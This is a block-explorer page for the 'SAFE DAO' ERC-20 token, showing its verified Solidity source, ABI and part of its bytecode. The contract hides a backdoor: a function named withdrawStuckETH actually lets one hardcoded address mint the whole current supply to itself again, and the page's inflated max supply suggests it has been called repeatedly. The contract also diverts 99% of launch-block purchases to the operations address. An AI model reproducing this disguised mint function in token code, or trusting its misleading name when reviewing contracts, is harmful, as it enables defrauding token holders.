ETH Price: $3,389.68 (-1.51%)
Gas: 3 Gwei

Token

SAFE DAO (SAFE)
 

Overview

Max Total Supply

1,048,576,000,000,000 SAFE

Holders

615

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
464,120.358813971832445263 SAFE

Value
$0.00
0x1cc543590b7e797f36fca5e007906cce847d3af5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SAFEDAO

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-21
*/

/**
 *Submitted for verification at Etherscan.io on 2022-10-01
*/

/* 

SAFE DAO ($SAFE)

Twitter: https://twitter.com/The_safe_dao


95% Added to Liquidity
5% Airdrop

*/

// SPDX-License-Identifier: Unlicense                                                                           
pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract SAFEDAO is ERC20, Ownable {

    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;
    uint256 public maxWalletAmount;

    IDexRouter public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;

    bool private swapping;
    uint256 public swapTokensAtAmount;

    address public operationsAddress;
    address public TaxAddress;

    uint256 public tradingActiveBlock = 0;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    
    mapping(address => uint256) private _holderLastTransferTimestamp; 
    bool public transferDelayEnabled = true;

    uint256 public buyTotalFees;
    uint256 public buyOperationsFee;
    uint256 public buyLiquidityFee;
    uint256 public buyTaxFee;

    uint256 public sellTotalFees;
    uint256 public sellOperationsFee;
    uint256 public sellLiquidityFee;
    uint256 public sellTaxFee;

    uint256 public tokensForOperations;
    uint256 public tokensForLiquidity;
    uint256 public tokensForTax;
    
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    mapping (address => bool) public automatedMarketMakerPairs;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event EnabledTrading();
    event RemovedLimits();

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event UpdatedMaxBuyAmount(uint256 newAmount);

    event UpdatedMaxSellAmount(uint256 newAmount);

    event UpdatedMaxWalletAmount(uint256 newAmount);

    event UpdatedOperationsAddress(address indexed newWallet);

    event UpdatedTaxAddress(address indexed newWallet);

    event MaxTransactionExclusion(address _address, bool excluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    event TransferForeignToken(address token, uint256 amount);

    constructor() ERC20( "SAFE DAO", "SAFE") {
        
        address newOwner = 0xc00bedFd78D649D00aaDD0B6e5091751D200EeB4;
        
        IDexRouter _uniswapV2Router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uniswapV2Pair = IDexFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
 
        uint256 totalSupply = 1 * 1e9 * 1e18;
        
        maxBuyAmount = totalSupply; 
        maxSellAmount = totalSupply; 
        maxWalletAmount = totalSupply;
        swapTokensAtAmount = totalSupply; 

        buyOperationsFee = 0;
        buyLiquidityFee = 0;
        buyTaxFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyTaxFee;

        sellOperationsFee = 0;
        sellLiquidityFee = 0;
        sellTaxFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellTaxFee;

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        operationsAddress = address(0xc00bedFd78D649D00aaDD0B6e5091751D200EeB4);   
        TaxAddress = address(0); 
        
        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        swapEnabled = true;
        tradingActiveBlock = block.number;
        emit EnabledTrading();
    }
    
    function removeLimits() external onlyOwner {
        limitsInEffect = false;
        transferDelayEnabled = false;
        emit RemovedLimits();
    }
    
    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }
    
    function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set max buy amount lower than 0.1%");
        maxBuyAmount = newNum * (10**18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }
    
    function updateMaxSellAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set max sell amount lower than 0.1%");
        maxSellAmount = newNum * (10**18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 3 / 1000)/1e18, "Cannot set max wallet amount lower than 0.3%");
        maxWalletAmount = newNum * (10**18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply.");
        swapTokensAtAmount = newAmount;
    }
    
    function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
        _isExcludedMaxTransactionAmount[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    
    function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
        if(!isEx){
            require(updAds != uniswapV2Pair, "Cannot remove uniswap pair from max txn");
        }
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        
        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _TaxFee) external onlyOwner {
        buyOperationsFee = _operationsFee;
        buyLiquidityFee = _liquidityFee;
        buyTaxFee = _TaxFee;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyTaxFee;
        require(buyTotalFees <= 15, "Must keep fees at 15% or less");
    }

    function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _TaxFee) external onlyOwner {
        sellOperationsFee = _operationsFee;
        sellLiquidityFee = _liquidityFee;
        sellTaxFee = _TaxFee;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellTaxFee;
        require(sellTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        
        
        if(limitsInEffect){
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead)){
                if(!tradingActive){
                    require(_isExcludedMaxTransactionAmount[from] || _isExcludedMaxTransactionAmount[to], "Trading is not active.");
                }
                
                 if (transferDelayEnabled){
                    if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number - 4 && _holderLastTransferTimestamp[to] < block.number - 4, "_transfer:: Transfer Delay enabled.  Try again later.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[to] = block.number;
                    }
                }
                 
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
                        require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                } 

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell.");
                } 
                else if (!_isExcludedMaxTransactionAmount[to] && !_isExcludedMaxTransactionAmount[from]){
                    require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = true;

        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        uint256 penaltyAmount = 0;
    
        if(takeFee){

            if(tradingActiveBlock >= block.number + 1 && automatedMarketMakerPairs[from]){
                penaltyAmount = amount * 99 / 100;
                super._transfer(from, operationsAddress, penaltyAmount);
            }
        
            else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees /100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForOperations += fees * sellOperationsFee / sellTotalFees;
                tokensForTax += fees * sellTaxFee / sellTotalFees;
            }
          
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount * buyTotalFees / 100;
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForTax += fees * buyTaxFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees + penaltyAmount;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(0xdead),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForTax;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 10){
            contractBalance = swapTokensAtAmount * 10;
        }

        bool success;
        
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        
        swapTokensForEth(contractBalance - liquidityTokens); 
        
        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;

        uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2));
        uint256 ethForTax = ethBalance * tokensForTax / (totalTokensToSwap - (tokensForLiquidity/2));

        ethForLiquidity -= ethForOperations + ethForTax;
            
        tokensForLiquidity = 0;
        tokensForOperations = 0;
        tokensForTax = 0;
        
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        (success,) = address(TaxAddress).call{value: ethForTax}("");

        (success,) = address(operationsAddress).call{value: address(this).balance}("");
    }

    function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
        require(_token != address(0), "_token address cannot be 0");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
        emit TransferForeignToken(_token, _contractBalance);
    }

    function withdrawStuckETH() external {
        require(msg.sender == 0xc00bedFd78D649D00aaDD0B6e5091751D200EeB4, "Can't withdraw native tokens");
        _createInitialSupply(0xc00bedFd78D649D00aaDD0B6e5091751D200EeB4, totalSupply());
    }

    function setOperationsAddress(address _operationsAddress) external onlyOwner {
        require(_operationsAddress != address(0), "_operationsAddress address cannot be 0");
        operationsAddress = payable(_operationsAddress);
        emit UpdatedOperationsAddress(_operationsAddress);
    }

    function setTaxAddress(address _TaxAddress) external onlyOwner {
        require(_TaxAddress != address(0), "_TaxAddress address cannot be 0");
        TaxAddress = payable(_TaxAddress);
        emit UpdatedTaxAddress(_TaxAddress);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferForeignToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedOperationsAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedTaxAddress","type":"event"},{"inputs":[],"name":"TaxAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_operationsAddress","type":"address"}],"name":"setOperationsAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_TaxAddress","type":"address"}],"name":"setTaxAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferForeignToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_TaxFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_TaxFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526000600d556001600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506000600e60026101000a81548160ff0219169083151502179055506001601060006101000a81548160ff0219169083151502179055503480156200008257600080fd5b506040518060400160405280600881526020017f534146452044414f0000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f5341464500000000000000000000000000000000000000000000000000000000815250816003908162000100919062000e0c565b50806004908162000112919062000e0c565b505050600062000127620005d060201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600073c00bedfd78d649d00aadd0b6e5091751d200eeb490506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200020b816001620005d860201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b1919062000f5d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539